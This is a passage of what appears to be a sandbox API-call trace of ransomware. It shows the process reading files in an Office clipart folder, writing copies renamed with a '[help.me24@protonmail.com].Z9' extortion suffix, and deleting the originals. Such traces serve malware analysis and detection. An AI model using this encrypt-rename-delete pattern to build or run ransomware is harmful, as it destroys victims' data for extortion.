	[0084.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.558] lstrlenW (lpString=".xls") returned 4
	[0084.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.558] lstrlenW (lpString=".xlsx") returned 5
	[0084.558] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.558] lstrlenW (lpString=".ppt") returned 4
	[0084.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0084.558] lstrlenW (lpString=".zip") returned 4
	[0084.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.558] lstrlenW (lpString=".rar") returned 4
	[0084.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.558] lstrlenW (lpString=".bz2") returned 4
	[0084.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.558] lstrlenW (lpString=".7z") returned 3
	[0084.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0084.558] lstrlenW (lpString=".dbf") returned 4
	[0084.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0084.558] lstrlenW (lpString=".1cd") returned 4
	[0084.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0084.559] lstrlenW (lpString=".jpg") returned 4
	[0084.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.559] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.559] lstrlenW (lpString="BD09662_.WMF") returned 12
	[0084.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.559] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=20554) returned 1
	[0084.559] CloseHandle (hObject=0x2bc) returned 1
	[0084.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x220
	[0084.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.560] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.560] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0084.560] GetLastError () returned 0x0
	[0084.560] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x504a, lpOverlapped=0x0) returned 1
	[0084.562] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5050, lpOverlapped=0x0) returned 1
	[0084.563] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.563] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.564] SetEndOfFile (hFile=0x39c) returned 1
	[0084.564] CloseHandle (hObject=0x39c) returned 1
	[0084.565] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.565] SetEndOfFile (hFile=0x2bc) returned 1
	[0084.566] CloseHandle (hObject=0x2bc) returned 1
	[0084.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 1
	[0084.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0084.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0084.567] lstrlenW (lpString=".doc") returned 4
	[0084.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.567] lstrlenW (lpString=".docx") returned 5
	[0084.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.567] lstrlenW (lpString=".pdf") returned 4
	[0084.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.567] lstrlenW (lpString=".xls") returned 4
	[0084.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.567] lstrlenW (lpString=".xlsx") returned 5
	[0084.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.567] lstrlenW (lpString=".ppt") returned 4
	[0084.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0084.567] lstrlenW (lpString=".zip") returned 4
	[0084.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.567] lstrlenW (lpString=".rar") returned 4
	[0084.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.567] lstrlenW (lpString=".bz2") returned 4
	[0084.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.567] lstrlenW (lpString=".7z") returned 3
	[0084.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0084.567] lstrlenW (lpString=".dbf") returned 4
	[0084.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0084.567] lstrlenW (lpString=".1cd") returned 4
	[0084.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0084.567] lstrlenW (lpString=".jpg") returned 4
	[0084.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0084.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0084.567] lstrlenW (lpString=".doc") returned 4
	[0084.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.568] lstrlenW (lpString=".docx") returned 5
	[0084.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.568] lstrlenW (lpString=".pdf") returned 4
	[0084.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.568] lstrlenW (lpString=".xls") returned 4
	[0084.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.568] lstrlenW (lpString=".xlsx") returned 5
	[0084.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.568] lstrlenW (lpString=".ppt") returned 4
	[0084.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0084.568] lstrlenW (lpString=".zip") returned 4
	[0084.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.568] lstrlenW (lpString=".rar") returned 4
	[0084.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.568] lstrlenW (lpString=".bz2") returned 4
	[0084.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.568] lstrlenW (lpString=".7z") returned 3
	[0084.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0084.568] lstrlenW (lpString=".dbf") returned 4
	[0084.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0084.568] lstrlenW (lpString=".1cd") returned 4
	[0084.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0084.568] lstrlenW (lpString=".jpg") returned 4
	[0084.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.568] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.568] lstrlenW (lpString="BD09664_.WMF") returned 12
	[0084.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.569] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=7966) returned 1
	[0084.569] CloseHandle (hObject=0x2bc) returned 1
	[0084.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x220
	[0084.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.570] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.570] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0084.570] GetLastError () returned 0x0
	[0084.570] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x1f1e, lpOverlapped=0x0) returned 1
	[0084.571] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1f20, lpOverlapped=0x0) returned 1
	[0084.572] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.573] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.573] SetEndOfFile (hFile=0x39c) returned 1
	[0084.573] CloseHandle (hObject=0x39c) returned 1
	[0084.574] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.574] SetEndOfFile (hFile=0x2bc) returned 1
	[0084.575] CloseHandle (hObject=0x2bc) returned 1
	[0084.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 1
	[0084.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0084.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0084.575] lstrlenW (lpString=".doc") returned 4
	[0084.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.575] lstrlenW (lpString=".docx") returned 5
	[0084.575] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.575] lstrlenW (lpString=".pdf") returned 4
	[0084.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.575] lstrlenW (lpString=".xls") returned 4
	[0084.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.575] lstrlenW (lpString=".xlsx") returned 5
	[0084.576] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.576] lstrlenW (lpString=".ppt") returned 4
	[0084.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0084.576] lstrlenW (lpString=".zip") returned 4
	[0084.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.576] lstrlenW (lpString=".rar") returned 4
	[0084.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.576] lstrlenW (lpString=".bz2") returned 4
	[0084.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.576] lstrlenW (lpString=".7z") returned 3
	[0084.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0084.576] lstrlenW (lpString=".dbf") returned 4
	[0084.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0084.576] lstrlenW (lpString=".1cd") returned 4
	[0084.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0084.576] lstrlenW (lpString=".jpg") returned 4
	[0084.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0084.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0084.576] lstrlenW (lpString=".doc") returned 4
	[0084.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.576] lstrlenW (lpString=".docx") returned 5
	[0084.576] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.576] lstrlenW (lpString=".pdf") returned 4
	[0084.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.576] lstrlenW (lpString=".xls") returned 4
	[0084.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.576] lstrlenW (lpString=".xlsx") returned 5
	[0084.576] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.576] lstrlenW (lpString=".ppt") returned 4
	[0084.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0084.577] lstrlenW (lpString=".zip") returned 4
	[0084.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.577] lstrlenW (lpString=".rar") returned 4
	[0084.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.577] lstrlenW (lpString=".bz2") returned 4
	[0084.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.577] lstrlenW (lpString=".7z") returned 3
	[0084.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0084.577] lstrlenW (lpString=".dbf") returned 4
	[0084.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0084.577] lstrlenW (lpString=".1cd") returned 4
	[0084.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0084.577] lstrlenW (lpString=".jpg") returned 4
	[0084.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.577] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0084.577] lstrlenW (lpString="BD10890_.GIF") returned 12
	[0084.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.578] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=13515) returned 1
	[0084.578] CloseHandle (hObject=0x2bc) returned 1
	[0084.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0x220
	[0084.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.578] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.578] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0084.579] GetLastError () returned 0x0
	[0084.579] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x34cb, lpOverlapped=0x0) returned 1
	[0084.581] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x34d0, lpOverlapped=0x0) returned 1
	[0084.582] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.582] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.582] SetEndOfFile (hFile=0x39c) returned 1
	[0084.582] CloseHandle (hObject=0x39c) returned 1
	[0084.583] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.583] SetEndOfFile (hFile=0x2bc) returned 1
	[0084.584] CloseHandle (hObject=0x2bc) returned 1
	[0084.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 1
	[0084.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0084.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0084.585] lstrlenW (lpString=".doc") returned 4
	[0084.585] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0084.585] lstrlenW (lpString=".docx") returned 5
	[0084.585] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0084.585] lstrlenW (lpString=".pdf") returned 4
	[0084.585] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0084.585] lstrlenW (lpString=".xls") returned 4
	[0084.585] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0084.585] lstrlenW (lpString=".xlsx") returned 5
	[0084.585] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0084.585] lstrlenW (lpString=".ppt") returned 4
	[0084.585] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0084.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0084.585] lstrlenW (lpString=".zip") returned 4
	[0084.585] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0084.585] lstrlenW (lpString=".rar") returned 4
	[0084.585] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0084.585] lstrlenW (lpString=".bz2") returned 4
	[0084.585] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0084.585] lstrlenW (lpString=".7z") returned 3
	[0084.585] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0084.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0084.585] lstrlenW (lpString=".dbf") returned 4
	[0084.585] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0084.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0084.585] lstrlenW (lpString=".1cd") returned 4
	[0084.585] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0084.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0084.586] lstrlenW (lpString=".jpg") returned 4
	[0084.586] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0084.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0084.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0084.586] lstrlenW (lpString=".doc") returned 4
